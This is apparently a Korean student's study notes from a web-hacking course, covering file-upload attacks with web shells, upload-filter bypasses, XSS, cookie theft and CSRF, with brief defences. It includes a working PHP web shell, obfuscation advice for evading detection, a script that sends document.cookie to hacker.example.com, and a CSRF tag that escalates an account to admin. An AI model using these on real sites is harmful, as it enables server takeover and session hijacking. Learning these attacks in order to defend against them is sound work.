[모각코] #4 해킹맛보기 2강 웹해킹(2.5~2.6)
파일
2.5 파일 업로드
-
공격방법
-> 업로드 취약점을 통해 웹 쉘을 서버에 업로드 & 웹 쉘을 통해 웹 어플리케이션 권한으로 시스템 명령어 실행
2.5.1 웹 쉘 제작
r57shell
- Command : 시스템 명령어 수행
- File for edit : 파일 수정
=> 데이터베이스를 접속하는 PHP 파일 열람하여 DB 계정 획득 & Run SQL query 기능으로 데이터 베이스 쿼리문 수행하여 개인정보 탈취
- 기능
- phpinfo() (PHP 정보 출력)
- CPU, 메모리 사용량 측정
- MySQL, MS-SQL, PstgreSQL, Oracle의 쿼리 실행, 덤프
- 시스템 명령어 실행
- 파일 수정
- 파일 찾기
- PHP 코드 실행
- 파일 업로드, 다운로드
- FTP 접속
- 이메일 전송
- Self Remover
-
특징
-> 시그니처 기반의 백신 탐지를 우회하기 위해 base64로 인코딩 되어있음
=> 코드의 “eval”을 “echo”로 변환하면 코드 분석 가능
c99shell
-> r57shell에 비해 인터페이스가 더 깔끔하고 기능도 추가됨
- 기능
- 탐색기
- 실행 중인 프로세스 목록
- MySQL 쿼리 실행
- 시스템 명령어 실행
- 파일 수정
- 파일 찾기
- PHP 코드 실행
- 파일 업로드
- FTP Brute Force
- Reverse Telnet
- En/Decoder
- Self Remove
공격 방법
: eval($_POST[‘q’]) 같은 코드를 심어서 ‘q’ 파라미터에 웹쉘과 명령어를 함께 전송
-> 대부분 POST 메소드를 이용해 실행하는데, 아파치의 로그 파일은 POST 전송 데이터 기록 안하기 때문
웹 쉘 함수
-
직접적으로 시스템 명령어 실행하는 함수
system exec passthru popen shell_exec curl_exec ``
-
PHP 실행 or callback 사용함수
eval preg_replace( /e option) preg_replace_callback create_function call_user_func
-
파일시스템 관련함수
Fopen copy chown chmod file_get_contents mkdir rmdir unlink * move_ uploaded_ file move_ uploaded_ file glob opendir readdir ...
=> php.ini의 disable_functions로 함수 사용 못하도록 비활성화하여 웹쉘 차단가능
예제) PHP 웹 쉘 코드
$cmd = $_GET['cmd'];
$result = '$cmd';
$result = str_replace("\n","<br />",$result);
echo $result;
// 'cmd'를 인자로 받아, Backtick을 이용해 시스템 명령어 실행
echo trim('whoami').'@'.trim(`hostname`).':'.getcwd()."<br /><br />";
//서버 정보명 출력
if($_GET[dir] == "") $dir = ".";
else $dir= $_GET[dir];
chdir($dir);
$dh = opendir(".");
while (($file = readdir($dh)) !== false){
if(is_dir($file)) echo "<a href=".$_SERVER['PHP_SELF']."?dir=".$dir."/".$file."</a>";
else echo $file;
echo "<br />";
}
closedir($dh);
//현재 폴더 출력
=> 웹 쉘 탐지 솔루션은 패턴 기반으로 탐지하므로, 암호화하거나 난독화하여 우회
2.5.2 파일 업로드 취약점 공격
공격 시나리오
-
PHP 웹 쉘 파일 업로드 & 웹 쉘 파일 요청
-> 시스템 명령어 수행
-
업로드 경로 파악
ex) 이미지의 속성값으로 업로드 경로 파악/ 업로드 패턴파악..
-
악성 PHP 파일 경로 요청
-> PHP파일 실행
=> 서버에 원하는 명령어 내리기나 데이터베이스, 소스코드 등 서버 정보 탈취가능
2.5.3 파일 업로드 우회기법
php.kr 우회기법
-
아파치의 AddLanguage 옵션으로 발생
-
파일명이 vuln.php.kr 일때도 PHP 파일 실행
=> 확장자가 php가 아니므로 필터링을 우회 가능
.htaccess 업로드 취약점
- 여러 아파치 옵션 변경 가능
- Addtype 같은 옵션으로 원하는 확장자를 PHP코드로 실행가능
환경 취약점
-
윈도우에서 파일 업로드시 파일명에 콜론(:) 붙이면 그 뒤 문자열 삭제
ex) abc.php:.jpg -> abc.php파일 업로드
2.5.4 파일 업로드 방어 기법
1. “php_value engine off” 내용의 .htaccess 파일을 업로드 폴더에 생성
2. .htaccess 파일을 사용자가 업로드하지 못하도록 필터링
2.6 크로스 사이트 스크립팅 (XSS)
2.6.1 크로스 사이트 스크립팅
XSS 공격
: 웹 페이지에 스크립트를 삽입할 수 있는 취약점
- Reflected XSS
-> 사용자가 입력한 값이 응답 페이지에서 실행
echo $_GET['msg'];
//xss.php에 msg를 GET으로 넘김
-> http://localhost/xss.php?msg=<script>alert(/XSS/)</script> 실행됨
-> 실수로 포스팅할때 alert가 실행됨ㅎㅎ
-
Stored XSS
->사용자의 입력값을 그대로 저장해 출력하는 경우, 악의적인 사용자가 악성 스크립트 글 작성하여 글을 읽으면 악성코드 실행
-
태그를 이용한 스크립트 실행
-
2.6.2 쿠키 공격
쿠키
-
역할
-> 서버와 클라이언트를 매개
-
취약점
-> 클라이언트 단의 기록서이므로 변조 가능
=> 따라서 쿠키보다는 ‘세션’ 이용한 인증 방식이 주로 사용됨
세션 인증방식
- 로그인 성공
- 서버에 sess_[고유문자] 이름의 파일 생성
- 해당 파일 내용에 로그인 정보 기록
- 클라이언트 쿠키에 PHPSESSID=[고유문자] 저장
- 클라이언트는 요청 시 쿠키값(PHPSESSID =[고유문자])과 함께 전송
- 서버는 쿠키의 PHPSESSID 값을 받아 sess_[고유문자]의 파일을 읽어 로그인 정보 확인
쿠키 = ‘클라이언트’에 저장되는 정보
세션 = ‘서버’에 저장되고 쿠키에 세션 이름 등록
쿠키 탈취 공격
-
JS에서 현재 페이지의 쿠키는 document.cookie에 담기고 XSS 공격은 JS로 실행 가능
=> document.cookie 값을 해커의 서버로 넘겨 쿠키 탈취
1. 이메일 서비스에 XSS 취약점 존재 테스트
-> 이메일 편지쓰기 기능으로 <script>alert('XSS!');</script>라는 alert창 띄우는 스크립트 전송
->여기도 실제로 내 블로그에서 실행됨..!신기
2. 쿠키 훔치기
- 해커 서버의 log 파라미터에 쿠키값을 담아 이동
<script>
window.location = "http://hacker.example.com/xss.php?log=" + document.cookie
</script>
-> xss.php파일에 log 파라미터로 쿠키값 전달 & PHP 스크립트는 쿠키값을 받아 파일로 저장
-
관리자에게 악성 스크립트 전송
-
관리자가 이메일 체크
-
이메일 확인시 스크립트에 의해 해커 서버로 쿠키 정보 이동
-
해커 서버에 log.txt에 남은 쿠키 정보 기록
-
쿠키 정보로 관리자 인증
2.6.3 크로스 사이트 스크립팅으로 가능한 것들
2.6.4 사이트 간 요청 위조 공격
CSRF (Cross Site Request Forgery)
: 사용자가 자신의 의지와 무관하게 해커가 원하는 주소를 요청
ex) 회원정보 수정페이지
-
회원정보수정버튼
-> POST 메소드 혹은 GET 메소드로 데이터 전송
=> GET메소드로 인자 전달시 주소는 다음과 같음
http://example.com/admin/member_modify_ok.php/no=198&pass=1234&passre=1234&grade=1grade
-> 인자가 1일때 일반 등급, 인자가 2일떄 관리자 등급이라 하자
**<방법>**방법>
-
이미지 태그를 심어 보내기
<IMG SRC= http://ecample.com/admin/member_modify_ok.php?no=198&pass=1234&passre=1234&grade=2
-> 회원번호 198번을 관리자 등급으로 변경
2.6.5 방어기법
-
태그 괄호 <>를 엔티티 문자인 /< 와 />로 치환하여 태그 막기
-> 오늘날은 에디터 기능 사용으로 복잡한 필터링 방식 거쳐야함